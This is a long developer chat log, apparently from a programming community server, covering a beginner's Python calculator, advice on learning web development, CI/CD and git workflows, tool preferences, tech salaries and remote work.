Think about it this way as well, you still have "blocked" cells (cells that cost too much to move to). The definition of blocked just changes at each node
Create a map of the nodes, (x,y,value) and just make on each node change, you run an updateBlocked() function to describe the immediate up, down, left, and right nodes.
No worries
This is looks like a typical graph problem, look up BFS and DFS searching algorithms. Typically DFS is faster and doesn't use a queue, however since you are looking for the longest path I suspect you have to explore all paths and it probably doesn't matter if you use BFS or DFS. 🤔
Eh, that's not your typical graph problem, unfortunately, since the longest path problem is NP-hard.
I guess when I said typical problem I meant as in it's a common programming challenge / question.
Looks alright i think for my first somewhat ok project
num1 = input("Enter your first number: ") #input of 1st number
num2 = input("Enter your second number: ") #input of 2nd number
input1 = input("Enter the operation you would liketo do\n(m-multiplication, d-division, a-addition, s-subtraction): ") #input of calculating mode
def multipl(num1, num2): # multiplication function
return float(num1)*float(num2)
def divis(num1, num2): # division function
return float(num1)/float(num2)
def addit(num1, num2): # addition function
return float(num1)+float(num2)
def subtract(num1, num2): # subtraction function
return float(num1)-float(num2)
if input1.lower() == "m": # multiplication funct. caller
res = multipl(num1, num2)
print(float(res))
elif input1.lower() == "d": # division funct. caller
res = divis(num1, num2)
print(float(res))
elif input1.lower() == "a": # addition funct. caller
res = addit(num1, num2)
print(float(res))
elif input1.lower() == "s": # subtractin funct. caller
res = subtract(num1, num2)
print(float(res))
why you on python now? what happend to c++
i realised that python suits my needs alot better, c++ is more for game development and that stuff
and im not really into making games rather than playing them
i just started the day before yesterday and i already switched 3 times cuz i didnt know what would suit me the most
but yeah im now gonna stay at python (hopefully)
can we first talk about what you really want
like ai, machine learning and general programs
imagine yourself working.
what would be your job
describe it
ill try to do it asap or ill forget to do it
Ok, I am absolutely flabbergasted, gobsmacked, even. I really don't know what to say.
will do
ok i think i will have to google some sought-after jobs for programmers in my country
website development ig
then switch to learning html/css/js now
and check if you like those
there like TONS and TONS of web dev tutorials out there
yeah most of the job offerings are about php html css and js
check those first if you like them
yeah ill check if freecodecamp has gome some good videos for that
thats a lot of languages
not all of those are programming languages
what are they
it's really not
Ew WordPress 😅
if i were to be strict,
that list only has 2 programming language
how
probably better to google them , since you would find better explanation
or just focus on html/css/js and ignore the rest for now
html, css,git, sql are not programming languages
In simple none technical terms:
HTML is the structure of the page, think the layout. Like the framing of a house.
CSS is for styling, like the paint on the walls of a house.
JS is a programming language that runs client side, but can be used for servers as well. This is how you create a lot of the interactivity of the site.
SQL is for interacting with the database, where you store the data for the app.
Git is just version control, where / how you store your code and work with teammates
Last the nasty PHP (haha to me at least) is another programming language, but it is run server side before the page is sent to the user.
SQL is for interacting with a datasource
so css, html, sql, and git shouldnt be too complicated?
don't go sql and git yet
follow the structured course
html -> css -> js
pretty much ignore sql and git for now
aight, but they shouldnt be too hard to learn, or?
they are relatively easy
when start making copies of code like, project, projectfinal, projectfinalfinal, it's time to learn git
are on pythons level of easiness?
they are not the same thing. they are not a programming language
just ignore them for now 😛
yeah but if the learning curve is like pythons
cause even if you learn SQL now (it's not that hard) but you don't know JS or PHP. the skill is essentially useless
Html and CSS you kind of learn hand in hand, you'll make static websites on your comouter that you can view in your browser.
Then you expand into the other areas as you want to make them into apps and dynamic.
now swtiching the topic of my opinion.
People should learn server side rendeing before SPA
😬
I don't agree that there is a right order to learn anything really. I think maybe just some ways are easier?
I think people would appreciate the beauty of SPA when they do server side
and not everthing needs to be an SPA
I learned SSR first just because SPA wasn't really a thing / popular when I learned. But I primarily work with SPAs today.
but when people learn SPA. they think it is the only way
just to be clear, I like SPAs
it's nice to forget loading into urls like the 2000s and just use the clients powerful pc instead of busting our servers
I like the idea of NextJS and doing SSR for the first render / load, but having and SPA like expierence for user inrervations after.
But it often just feels not worth the effort todo NextJS for home projects only like big work ones with heavy usage.
yea, I like the middle ground
we use aurelia at work.
we render SSR, then interactions are SPA
really nice combination
Yeah SPAs also were so nice to break away from the BE teams a bit. I find it easier to push changes in 2 different "apps" easier. Also untangling them means BE can often be treated as simple API server which can be used for say a mobile app as well or another FE maybe made in a whole diff language.
ah yes, SPA really made the collaboration way way too easier
we could now have seperate teams to design different things
it's nce when we could talk thru REST or Graph or any other APIs
instead of everything in one code base
😄
Haha yup, esp the larger the team gets.
Getting comments from 20+ devs because they all review the exact same code is terrible. Everyone wants to argue over what to name a variable. 😆
yikes, how strict are your code conventions though
That's what I like about formatter like prettier, removes a lot of pointless discussions. It just is what rules it's set to. Lol
so we expect the dev to use pretiter. do you have CI integration or Hooks to check if they really do
Yup it is checked by eslint
rejected so many PRs cause devs were pushing pointless spaces and newlines
ah niceeee
we have so many tools now
😄
we eliminated so many parts of code reviews
new DEVs might not experience the old days of sitting down with a senior about the changes
Haha yeah, I love how things like Jest coverage reports are super visual and show you exactly what lines in what files your test doesn't hit.
CI can be some work to setup, but when it's setup it really does all the basics and you mostly are just reviewing their implementation to make sure it makes sense and does what is expected.
CI can be some work to setup
I don't consider it to be much work.
i just consider it to be automation
my future me would thank me

the devs could instead talk to the CI instead of me
I miss Github Actions, I lke the way they did them.
Wasnt a big fan of pipelines (bitbucket) and now I went back in time it feels to Jenkins at my current job. 😭
why Jenkins? cause freeeeee?
Idk it's company managed / choice. Haha
I think pipeline and action are for different purposes but are used interchangably
i'll take that cause it's freeeee
Well pipelines I was talking about the Bitbucket Pipelines, it's Bitbucket CI similar to Github Actions.
Pipelines seems like an annoying product name, why name your product the name of the type of solution / service? Lol
why name your product the name of the type of solution / service?
like most of them
so you like github action above all?
Yeah but we are on Github Enterprise and updated to new enough version we can run Github Actions local. So 🤞in the future. But this team is big enough we have dedicated devops ppl we have to work with to migrate.
My old job we didn't have any, it was kinda nice to be able todo a lo of devops work and work the k8s even being primarily a dev.
my old job have github ent. but we were using circleCi
it was great ngl, but it was expensive for what it does . atleast from what I heard
My old job we didn't have any, it was kinda nice to be able todo a lo of devops work and work the k8s even being primarily a dev.
i'm a devops that do dev
I like the simplicity and power of Github Actions. Feels like a nice medium. Circle CI seemed like tones of options, but just felt like too much of their own lingo / syntax comapred to Github Actions.
but just felt like too much of their own lingo / syntax
hmm, I think CC is easier than jenkins dialect of groovy
and so far. jenkins gave me the most problems
because of master/slave config, where the agent is long lived and can cause problems to succeeding jobs
😢
If I had to describe it CC feels more DevOps focused while Github Actions felt more like a CI tool that felt familiar to a dev / similar syntax and tooling.
Yeah idk much about Jenkins, other than it's been slow every place I have sued it. 😅
i doubt even java develops like it
but it's freeeee
and it's one of those drag and drop automation so might be easier (?) for first time users than learning another dialect/syntax
For CD at my old job we used Argocd, GitOps deploys ot k8s (GKE) and the job before that was spinnaker.
Spinnaker felt more powerful, but we had devops folks to help us. The last job with devops folks it was way easier to run with Argocd.
oh, looks like the days where CI and CD meant differnt things
At current job I have 0 clue what is our CD, it's all internal tools I interface with that fully abstract away the deployments. Only thing I do know is FE we push to a CDN. Lol
oh so the DevOps people handle everything?
i mean would I even call that devops if the dev don't know what the heck the ops are doing
😬
Yup, they automated it all. Like I can go to a web app and make a new app, doing that makes a repo and sets up a dev env and dev deploys for it.
Right it's more like automated ops? Haha
ah it's very much abstracted that I fear if it breaks. Dev might have a hard time
😄
but that sounds nice if you need to go from design to deploy quickly
Yeah it's treated a lot like serverless for us.
I guess you don't even talk to an Ops guy for days or weeks
I have never talked to them yet, been here almsot 6m. Haha
Most I heard of them was when I was shadowing someone doing a deploy and they had to call into the conf bridge for deployments and go through the checks before they could deploy to prod.
come talk to us.

we won't bite. we would simply blame the outage on a dev. no hard feelings
the checks before they could deploy to prod
ahhh, so it's not CD? they still need to approve it?
I mean it's nice to not have to think about it at all. But I do sometimes miss getting to work on it.
I remeber back when I learned about docker multi stage builds and proper layers. I felt so cool. Lol
But I do sometimes miss getting to work on it.
yes, me too
now. I am a dev again. and the Ops tasks are on anohter team
miss being an all around where I learn end to end
It's like CD with a manual step, since other envs are auto and the deploy is automated it just forces you to stop and get approval from teammates and ops team. So if there is on going issues / outages or you didn't have a ramping teaffic plan they wouldn't allow it.
Once they green light it you just click a button and it goes.
Right, one day when I pay off my home and student loans I'll be able to take the risk tk go back to a small startup and have fun doing some of everything. 😆
ah that's nice, for the automated everything except prod
tbf, CD is still kinda strange to me, thinking we would allow any change to PROD
That's what I liked with GitOps, it was very declarative and the change controls were done via PRs.
But when we merged to develop the CI would commit to the develop branch the new docker image to have k8s run.
The prod img we had a manual final approval. It'd run the full build and even push the docker img, but then that final step where the GitOps repo is updated to make the k8s roll out the new img was a manual approval step.
So no accidents could happen on main branch. 😅
oh yea, pretty much of what I expect
where automate everything, but the final deploy is still manual
like we would click one button and we could go for a coffee 😄
Being 100% auto deploy from main branch with no safety manual check always felt scray to me. Haha
me tooo. no matter how I want to internalise CD since i'm a devops
it's soo scary
i don't want to be woken up in the middle of the night cause of an outage for something that shouldn't be approved in the first place
😢
Yup, that brand new dev that for some reason someone gave access to commit or merge into the main branch. They weren't even being sneaky they just got confused working with git, it happens esp to new devs, and oops they just deployed some broken code. 😆
oops they just deployed some broken code.
Oops. someone would have a meeting with the UPs to talk about something
the anxiety

Haha yeah, outages at my job are like crazy serious. So I'm like if I'm deploying I'm doing every step of the process exactly, so I can't be faulted. (unless it was my bad code going in the deploy 😆)
my bad code going in the deploy
we can't really automate for that. but atleast we mitigate it
I think most ppl have broken a deploy at one point in their career. Esp earlier on in your career. Haha
i just think it is ESSENTIAL
people need to learn and that means breaking something
I think most ppl have broken a deploy at one point in their career
tbf, I would trust someone who broke a deploy 10x than someone who only broke it once
i would expect them not be a worse coder or something but to be more careful
much like. I would go for a fighter who has more scars than someone who's way too clean
Can't be worse than Facebook...
they truly are living
I wouldn't trust someone who broke a deploy 10 times with the very same mistake.
10 completely different ways to break the deployment though? That's material for deployment/CD QA right there.
@pearl crowDo you have anywhere you're storing the nodes its been to?
Each step is?
You should have it check everytime before it updates the position if it has been there before
Can you show your validation to check if it already node is already seen
child.g > open_node.g
why
Very true
so i’m still working on this esp8266 weather station, and i’ve got all of the coding done. my issue now (i think) is getting the board to be registered by the computer. it’s plugged in and says it’s a registered device but says it fails to connect in the code
ping me if any of you can help
So how much would be the MINIMUM salary for a DevOps ? I have an opportunity to become a DevOps in my enterprise, being the guy that will be deploying AI in different contracts with different clients, so having to think the whole architecture too .... But the salary will be really hard to negotiate and probably far below what this job would be worth ...
Because I currently have a somewhat low salary, and I can't come and ask a "normal" DevOps salary, also I'm young
Well, what language?
All you're doing is creating a generic template for the unique instances of data
I honestly thought you were using types already. @pearl crow
@somber dome what area? Im in maryland. Not quite parallel to you (security research/dev work for tools), but i dont consider anything below 160k + benefits
I'm in France ^^
Not exactly, I’m looking for a way to get started
If that goes against terms, I’m sorry
Well, I'm here because I have 5 minutes while I wait for my Mac to reboot, because Apple designs good user experiences.
Freaking SourceTree locked up and wouldn't allow me to exit the dialog for managing git submodules. It literally wouldn't let me Quit the application. And attempting to reboot my Mac didn't work, because Mac allows programs to infinitely stop you from rebooting your OS, because Mac is a good OS with a good user experience.
Yes, I know the forced corporate password change that invalidated my terminal git credentials was on my todo list to fix, and I should have done that last week.
Yes, I know that submodules are complicated and rarely used, so the feature wouldn't be well tested.
Yes, I know that SourceTree probably doesn't have enough Mac users to bother with extensive testing to make sure bugs like this don't happen.
But that still doesn't excuse Apple from making an OS that doesn't allow you to shut down your machine if there's a program being buggy.
The best part? While I was rebooting my machine, this happened.
Apple is a good company that knows how to make functional software.
No, I'm not bitter about having to use an OS without default window snapping.
No, I'm not bitter about having to use an OS that doesn't have a single keyboard combination to switch between all my open windows.
MacOS sucks imo.
if you wanted to torture yourself you shouldve used windows 8 instead of mac
That's a lot of text
Mac is a lot of bad.
But yes, Windows 8 is a joke. Which is why I went directly from Windows 7 to Windows 10.
windows 8 was so much faster than 7, you missed out
just had to have a program to get the start menu right
10 has all the same problems as 8 though
the multiverse is slipping
this is the universe where 7>>8
You can force reboot a Mac?
And if an app is crashing at startup you boot to safe mode
Like any other OS
Source Tree is your problem, idk why people use that 🗑️ 😂
Lol
I use it
Basically.
I use IDE,SourceTree,CLI
all three
cause bullshit
cli to commit and push
IDE to handle merge conflict
sourceTree to commit somtimes
Hahaha I mean whatever works for you at the end of the day. 🤷♂️
I just hate SourceTree and feel like it's way more often the devs that use it ask me for help with git than those that don't. Idk if it's just buggy or what.
I’m either using JetBrain IDE git or CLI git
Haven’t found a need for an external git app
old company used to pay for gitkraken
it's nice and all since it can do everything including boards
but ehhh
I just hate SourceTree and feel like it's way more often the devs that use it ask me for help with git than those that don't. Idk if it's just buggy or what.
I don't use it much. the only reason for it because i don't know how to commit hunks in Visual Studio
I'll use an IDE gui for like seeing a diff or resolving conflicts, I find that easier todo in a rich editor than terminal. But then anything more advanced, like rebasing, I do on the cli.
if I learn to commit hunks instead of whole files in VS
i'd uninstall ST in an instant
basically. adding whole files to staging sucks
Hmm I never really find a need todo hunks, but I'm sure diff workflows and diff project types.
When ppl argue about git workflows I'm always like, hey as long as the final history is clean idgf how someone wants todo their personal work flow. What works for them works for them. (assuming final git history is clean or you are a merge and squash shop and don't care haha)
Oh man I’m just happy my org at work made a beautiful auto squash bot
No matter how garbage my branch looks it gets a pretty merge commit, zero IQ required
I worked a place that always did merge commit, it was nice when everyone had perfect PRs.
But then you hire that new dev fresh from college.....
So I have resigned to saying merge squash is just 10x easier for an org esp as your team scales up in size. Hahahaha
Yeppp also feel like it’s easier for the devs too, you can itinerary and make bad commit comments and it doesn’t matter
Yeah I mean I just don't commit often until I'm closer to done often times, then break them up nice. That or if I need to for some reason, like say working with a coworker on same branch, then I usually just do a rebase before I push to squash and cleanup those WIP kind of commits.
But yeah whatever work flow works for you as long as you are getting stuff done and rocking who cares.
The more we micromanage workflows the more we make devs miserable. Since devs are creative and like to work in ways that help them be creative imo.
Process I think is important to manage, but less so workflows.
Amen
The power button is the most powerful button.
Because there's nothing convenient about having to type random git hashes to jump to specific points on a branch, and being able to select specific lines to commit is a killer feature. Then there's the git graph, which yes, you can do with a gitadog alias, but it's more clunky because of the limited screen space in a terminal.
My biggest gripe with source tree is credential management sucks, but that's more a problem with Git and corporate environments with forced password resets.
The menus and interface are definitely clunky, but that has more to do with the design of git than SourceTree itself. It's impossible to cleanly represent every single git operation with a menu or button. (I've got a working model for how to build an interface for Git without any explicit buttons, but that's a crazy project that will never happen)
But nah, the biggest problem with any Git program is most people are completely clueless about how Git works and how to use it effectively. I ended up as the resident Git master for a department of like 50~ people. You wouldn't believe the Git based stupidity I've seen out of even very senior engineers. Even after months of trying to educate people on how to use Git, I think I only successfully taught like 5 people how to use Git well. It's designed for work on the Linux kernel, so the original expectation was to design the most powerful program ever, with zero thought to usability for people who can't write the entire program themselves given the specification for Git.
dang the wall of text
That being said, I highly recommend that anyone who uses Git on a regular basis go read "Git for Computer Scientists".
Yes, it has big scary words like "Directed Acyclic Graph", but if you don't understand what Git is doing under the hood, you're 100% guaranteed to make mistakes if there are 2 or more people working on the same repo.
Link: https://eagain.net/articles/git-for-computer-scientists/
Git is a flexible tool, I think that's a big part of why it's complex. Just learn the parts you need, don't need to master it all.
Always can Google if you get stuck.
Always can Google if you get stuck.
pretty much tech
Google only helps so much, because Git has like 3 major workflows, and all of them come with "sorry, but if you do that everything breaks" caveats.
Eventually, someone will break something, and someone on the team needs to know exactly what part of the DAG got messed up, or you're in trouble.
Atlassian (makers of BitBucket) has an amazing guide on the major different workflows teams use with Git. Make sure you understand which workflow you're in, or changing teams will be trouble.
link: https://www.atlassian.com/git/tutorials/comparing-workflows
A brief introduction to common Git workflows including the Centralized Workflow, Feature Branch Workflow, Gitflow Workflow, and Forking Workflow.
What can I say. I type fast.
That's why you have restrictions on your important branches only allowing merges via PRs. (ofc they can mess up their local, but protect the remote)
and be strict with PRs
I spent like 3 years trying to design a failure proof git workflow. It's more mythical than a unicorn.
protect the remote
protect the branch that deploys to prod
Being strict with PRs works, but then you have to teach everyone what a good PR looks like, and how to manage them. That means you're just finding a roundabout way to educate your entire team.
Or you write a doc that explains it and add PR templates...
Always gotta start with the basics. Learn how your tools work, and learn the tradeoffs of your specific workflow. Without that, you're just going to end up doing those two things the hard way.
imagine if people use documentations
instead of companies paying for wikis and sht for not much
My current team is amazing. They've got lots of documentation for internal team processes. It's all just done in Markdown docs in git repos.
I HATE confluence that's the worst imo. Haha
I love docs in readme / git. You get offline docs, version control, built in review process for doc changes (pr), and no one needs to know what site to go to to search for docs. It's just in the repo.
Confluence SUCKS. I hate it too.
But managers love confluence, because they've watched a bunch of presentations and read marketing materials.
I HATE confluence
MD much easier, but imo confluence is lesser evil compared to other wikis
so i'd still choose confluence over others
Show them how much better a good git page app is, and you might win them over.
Atlassian as a whole drives me nuts. Last job was in Bitbucket, felt like going back to the stone ages compared to Github and Gitlab. Haha
bitbucket is somewhat better designed for enterprises
github was kinda eh for ents
BitBucket actually has some nice features that GitHub is missing. Personally, I think they've done a better job with the UI than GitHub.
I mean, GitHub Enterprise was so bad that they're basically killing off the product and trying to move everyone to custom Orgs on github.com
Wow first person that has told me they prefer bitbuck UI.
I mean all the power to you / whatever you like.
I think the PR experience is much better on GitHub though. Definitely has more features.
i like github UI over bitbucket but it seems suited for the actual github.com but not for enterprises
it works best for public open source
not enterprises with multiple gates for PR
I have been on both Github eneteprise and hosted. Hosted deff is nice since it's up to date always and if your ops team isn't ideal you may have more outages on enterprise / self hosted.
Now that I'm on a enterprise version the company always keeps up to date its pretty nice / feels very similar.
never had a problem with hosted
While I'm quite opinionated, I do have to acknowledge the things that products/companies do well just as much as I complain when they mess up.
It's nice since ppl spin up their own play repos, search some internal tool and make a PR to fix something that annoys you, and we do forks instead of branches in the main repo my team works in.
I see you work for a company that has a good Ops team.
2 hours of maintenance and people are howling
tbf, since we create web.
when the repo is down. what the heck are we supposed to do?
push to the air
Honestly though, now days there's zero excuse for not doing rolling simultaneous versions for critical infrastructure. The tech has been there for literal decades, and today you can build things that do that super easily. At this point not having zero downtime deployments is just laziness, incompetence, or you own a product that is so worthless it doesn't deserve to be online.
Classic XKCD https://xkcd.com/303/
in my old company it's the web. we pretty much wait for the CI
but my current uses visual studio. so whenever the I click build
I could pretty much go for coffee
Yup, that dang massive test suite to run through the pipeline. 😅
I mean, builds take time,
but your deployment should switch from V1 to V2 without any downtime.
Either you can handle that by doing a simple blue/green deployment, or do something more complicated with a custom automated rollout strategy.
If you need something more than a basic blue/green deployment, then you've probably got some complex requirements, and you know what deployment strategies will meet your needs.
But everyone should at least be doing blue/green deployments. If spinning up a parallel copy of your app is impossible, then you've got some big Ops problems.
I think the one kind of legacy like thing I still see often teams run into an issue with is their DB modal being defined in their main apps code. So they struggle todo new prod deploy without running DB migrations.
But I think that is around from the days of more of a monolithic app architecture.
Yeah, there's still a LOT of that.
But, that's the kind of stuff that creates giant Ops problems. Most of it stems from an inability to teach existing teams how to design apps that can be operationalized.
Which is why everyone should be doing DevOps.
Or they use shudder shared DBs
So much hell is created when you no longer own your data model
My team at works doesn't own any of the data models / DBs, we are an up stream service and call their APIs. Works really well though, since the API is our contract they can't break without versioning the changes.
Classic enterprise thinking. "Things will be better if the experts manage the things they're experts in".
It's not like, overtly wrong. Unfortunately, it misses critical information. Like the fact that the "data" team might not understand the product or the customer needs very well, so they could end up doing some things that are well-intentioned, but ultimately damaging.
Building separate teams only really works when you have very specific contracts between teams, and those contracts can never be violated.
Yeah but too many other teams and apps need to interface with it. It'd be a mess for all teams to manage it. (think of hundreds / thousands of devs all having an opinion on a single change haha)
That's where you need a service oriented approach.
I mean that’s cool though, those teams still own their data model
That's exactly what we have.
Rather than the database team owning everyone's data, the database team owns the tools that make database work easy for other teams.
There is no database team, I'm just saying my team has no databases.
Yeah, we have some apps here where the publisher and reader have a shared SQL table
So anytime the publisher wants to do anything they break the reader… cancer
Unless they start using TableNameV2 etc etc which is also bad 😂
I was about to comment that in that case, a shared DB table might not be so bad, but you immediately showed how it can go horribly wrong if teams don't collaborate.
Yup I don't think you should ever hand another team your DB credentials. Even BI teams can be toxic, because they will be like why did our reports break when you deployed the new app. Lol
You have to design forward thinking data models, and never break the old data structures.
Yes, that does mean that your database will accumulate cruft and waste. That's the price of sharing a database rather than having two databases.
The moral lesson is: Nothing is ever free. All engineering is about making the right tradeoffs.
If you can pull off a copy never design though it’s Gucci
I.E. all downstream consumers never copy data, only at most cache
Lets be honest: How many teams can really pull that off?
And how many products can actually run on that?
I would say surprisingly a lot?
Like, for Stack Overflow, sure. Like 95% of their activity is nothing but reads. But that's not true for a lot of applications.
But I work in finance, we don’t particularly have resource constrain
Ironic. I've been in financially related parts of non finance companies, and we were always super resource constrained.
Same haha. No shortage of money to throw at problems it seems. 😅
I think finance dpt of normal company is diff from a financial company tbh.
At that point, the winning strategy is to let everyone own their own stuff, and weed out the badly performing teams who really mess things up. Let the winning teams do their own thing. Don't mess them up if they're successful.
Definitely.
Oof sounds like an IBM move haha
That only works at a team scale.
And it only works when you only fire the teams that don't meet the specific and clear performance targets.
It’s common at investment banks/hedge funds/etc
Never fire a specific number of people. That's a recipe for disaster.
Oh for sure
My expierence has been the bigger the company the mor organized you can be.
Smaller teams need to be fast and able todo a lot of roles. So I think smaller teams have to make significantly different decisions.
I always hated when I worked at a startup that was busy reading and trying to mimic how big tech did things.
I never understood how Google operates as an adult daycare and employees are basically unfirerable… crazy imo
Google is a different place.
And Google also has a completely different set of problems.
Like the fact that the average tenure of employees is surprisingly low for a company that pays so well and gives people so many benefits.
Starting a new service and shutting it down or making something ppl like and changing it for the sake of innovation and making it trash.
Not looking at you Gpay..... 😂
Most people work at the big tech companies for 1-2 years, then leave for a place with less restrictions on how they work, and better work life balance.
From what I’ve heard most people just bounce between tech to boost income lol
Google's top leadership is weak, and it's going to end with the company being run into the ground. At this point there's no avoiding it.
Work 1-1.5yr get a promotion, bounce team (resets promo) work more, get a promo, bounce for a significant raise
Yeah I'd say my expierence has been you see a 1-2 drop and then closer to 4+ drop.
I think the reason is RSU vesting. Ppl almost always hold iut for first year of vesting, so that's why the big 1-2yr spike.
Then after that if someone stays over 2 yrs likely they'll ride out the rest of their vesting and go for 3-5 depending on their vesting and awards.
Exactly. The culture is so temporary they ever need to worry about firing people.
And when they need to fire people, they lump them into the failing projects, then fire the whole department when the product under performs their unreasonable expectations.
I’m interested to see how continual vest will effect it
Classic big company strategy.
Absolutely not at all. People don't work at Google for the money Google pays them.
If they wanted to make it super big, they'd have gone into investment banking.
Google’s pay is really good now though
Heh, IB pay is so much more work though lol
Google L5 coast and make bank
I know someone at Netflix pulling over 500k. But they said it's all cash there not stock / RSU vesting.
100k salary is plenty enough to live whatever life you want, and you can easily hit that in tech. After that, more salary isn't typically what people are looking for
Netflix is different, because they'll fire entire departments for nearly no reason.
Depends on location, $100k in NYC is pain
Yup once I broke 100k it all went to savings / stock.
But I don't live on either coast, so it's cheap.
True. That's another reason Google has had to pay so much. West coast cost of living is insane.
Like, 100k is almost homeless in some places near the bay area.
Yeppp
But geo pay is annoying, because you can have a more Jr worker on the coast making more.
Yes cost of living is hire but end of day you are doing the same work. Their fault for living some place expensive imo. Haha
All the tech companies created their own problems by clustering in one small area and paying people insane sums of money to move over there.
Heh, tbh I never understood pay being different geographically for the same reason
Who cares if someone lived in a lower col area, work is the same
Ehhh it makes sense though, pre remote work being feasible
I think slowly it's gonna bite them. Already at my company I'm seeing tones of jobs posted as remote, but outside the bay. They know they can take 20% off the pay and hire an extra dev for every 5. Lol
Yeah, COVID has shown the geo pay to be downright stupid. I forsee lots of companies suddenly losing good developers to places that don't do geo pay.
Economically, if you're an angel investor, which makes more sense:
- Pay people insane sums of money to move to the bay
- Move your headquarters to another major city, and pay people big to move there, but still a lot less than the bay
Ngl tho I like working in an office
Or just go fully remote and save boat loads. Lol
I hear it’s a controversial opinion 😂
Today that's an option, but 20 years ago it wasn't a real option.
Those that like an office maybe just offer to cover their co workspace membership?
That's the truth though. Big financial investments have basically been wasted because the bay area was "trendy".
I mean, the return the successful companies make on it it doesn’t even matter
I haven't worked in an office since 2015 lol
But like, wouldn't it make more sense to reduce the cost of moving people to be able to make more bets on companies?
I'd prob get myself in trouble if I went back to one. Show up in my Pj's not showered before noon. 😂
Not necessarily?
Or is there literally so much money floating around in the financial sector that there is literally more cash than ideas?
I mean, the dot com bubble answered my question.
sooooo
Heh
Yeah there’s way too much cash floating around
People don’t know what to do with it
Some companies are turning billions in profit per quarter, I think the can kinda toss money at something and shrug if it fails. 😅
Bay Area exists cause people needed to get talent
That's going to be one of the key things that pushes things to complete social collapse. But that's not a discussion for this channel.
So an area with a large pool of talent is a good place to found your company
And if you want to work in tech, where should you go? The place where all the companies go
Similar to companies locating near universities.
I think it's more the opposite. The successful companies were founded by people who left working at the big companies and had enough experience to succeed.
I mean, a relocation being cheap in the context of the salary makes sense.
One last wfh rant, I lose out on 10k "value" because I don't relocate. Lol
Last company I was able to get a larger sign on bonus though for not relocating.
There's some messed up incentive structures in larger companies.
If we wanna dive into the history, it’s because of university and military investment in the Bay Area that seeded it
I knew about uni, didn't know about military.
Yeah, that seems about right.
The military and universities were the biggest driver of early computer technology.
I think that’s fair tbh
Like, you getting bigger signing
Again, they’re paying for people not for geography related stuff
Yup, but most don't do it (in the past maybe covid will change it)
I'm hoping that COVID will drastically change things, but I'm not really that hopeful.
I don’t think they will tbh
Large businesses are typically "good old boys clubs". They like doing things the same way they've always done.
Wfh is a fad
Managers like seeing butts in seats.
I think it works really well for some people, and I have some colleagues that have been wfh for a long time (with lots of corp travel to see people)
It's a power dynamic thing.
Eh wfh was around before it covid just accelarted it.
Some companies will embrace it others won't.
But offices are more productive imo
Depends on the person.
Wayyy better for collaboration
I can't focus in an office
True, depends on the people/the work
Too many ppl wanna do drive by meetings and stuff
Certain types of collaboration, yes. Other types, not really, and some types cause other problems like too many meetings.
There are way fewer interruptions if you've got a nice WFH space.
Which doesn't matter for some types of work, but really matters for software development work.
It depends a lot on team structure to be fair
I hope the future is more so employee choice. So each does what works best for them.
The expense of wfh though is annoying
Yeah, team structure makes a big difference. Some teams still bloat your schedule with meetings even if they're all remote.
Other teams deeply respect your calendar, and keep large chunks of time free.
"expense"?
I mean, I don't use any paper.
And they don’t even pay for your food or electricity
The key is no excuses for wfh ppl, if you not productive your not productive can't blame it on kids etc.
I think that is only ok right now due to covid forcing ppl home who may not have a setup or things organized.
You also save money and time with no commute.
And not every workplace has free lunch.
Electricity is like, pennies on the dollar. Way cheaper than even a small amount of gas.
That’s true
The time saved on a commute * what you'd make hrly is huge. (unless you live walking distance)
If you're really upset about it, bring it up in negotiations. You can argue that it's much cheaper to have you WFH than it is to pay for office space.
That's nice. But you now have much higher rent because of that.
If you're WFH, you can move somewhere nearby, but much cheaper.
I wanna go back to Manhatten soon for a visit, was just their this summer and forgot how much I like it.
I grew up in upstate NY and used to go to the city kinda often for visits.
So that's a factor. Overall, I think you end up making more money when you're WFH, as long as you planned around it.
My big concern has always been career growth Ngl
NGL?
Is tech kind of flat in NYC?
Not gonna lie
oh, duh.
Nah, I just mean, I always felt less visible wfh
Oooh
Thought that was a place or something. Like, gonna move from NY to NGL or ATL.
If you wfh for an office team / company it's a lot harder.
Wfh for a company with a big wfh team / footprint and it's way better.
I think WFH advancement is all about company culture.
Yeah, if I wanna full remote I probably need to work somewhere else lol
Coinbase is all remote, companies like that are good if you want to be 100% wfh.
But then you gotta be into crypto. Hahaha
But there are others, just not as common in big tech it seems.
And you have to be aggressive in using the corporate tools. If you use pull requests, make sure to open lots of them. Always keep your Jira tickets updated, give consistent status updates, be active in company chat, ask good questions during meetings, etc.
everyone talks about how instagram is bad for mental health but what about jira??
7178
43725
It's a different game than in person workplaces, but it's still a game you can play.
Sorry had to 😂
lol
I currently work for a place thag used to be all office and now they are wfh due to covid.
It's kinda a pita, since they aren't good at using remote tools. The meetings are liek crickets often, always cams off, etc etc.
When I worked for an smb that all engineers were remote it was awesome. Always cams on, ppl doing calls just to chat, company sent you Uber eats lunches, etc.
I'm 100% remote employee, but I'm worried what it'll feel like once they reopen their offices.
I guess it'll depend how many of my teammates choose to go back to the office.
Hope it works out for ya
If not maybe I'll try office life again and relocate. It's only been like 6 yrs. Haha
Uber eats lunches sounds awesome
Have you tried helping people learn how to do WFH?
I tried, but it takes a culture shift in your team. Hard todo when your the only teammate who has expierenced fully wfh cultures. Haha
Like, teaching them virtual meeting etiquette, leading by example and having your camera on, etc?
I think it's possible to change a team culture. But it takes a lot of work, and it requires a custom approach for each team.
Yeah maybe in time, I have only been on this team like 5 months so I don't have strong relationships with them all yet.
Honestly, I probably have the skills to lead a culture change, but I lost interest in trying to change the team culture. It's thankless work, and often goes unappreciated.
If the culture is bad, it's usually a better decision to find a new job.
Yup, my culture isn't bad by any means. It's just not a wfh first kind of culture.
Dang, my optimism died at my first long term corporate workplace.
Haha corporate life can be tough, gotta find a place thay sets a strong cultural tone at the top but then let's all the twams and orgs develop their own culture on a more personal level.
Like from the top is more like inclusion etc.
